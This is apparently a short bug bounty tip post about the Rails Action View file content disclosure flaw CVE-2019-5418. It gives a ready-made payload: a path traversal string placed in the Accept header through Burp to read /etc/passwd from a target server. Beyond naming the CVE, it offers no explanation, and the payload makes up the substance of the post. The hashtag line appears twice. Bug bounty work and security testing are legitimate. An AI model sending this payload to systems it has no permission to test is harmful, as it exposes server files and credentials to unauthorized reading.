If your target uses Rails, look for Action View CVE-2019-5418 - File Content Disclosure vuln. Although this is an old bug, it can still be found.

Intercept the request in Burp and replace the Accept header with: `Accept: ../../../../../../../../../../etc/passwd{{`
#bugbountytips
#bugbountytips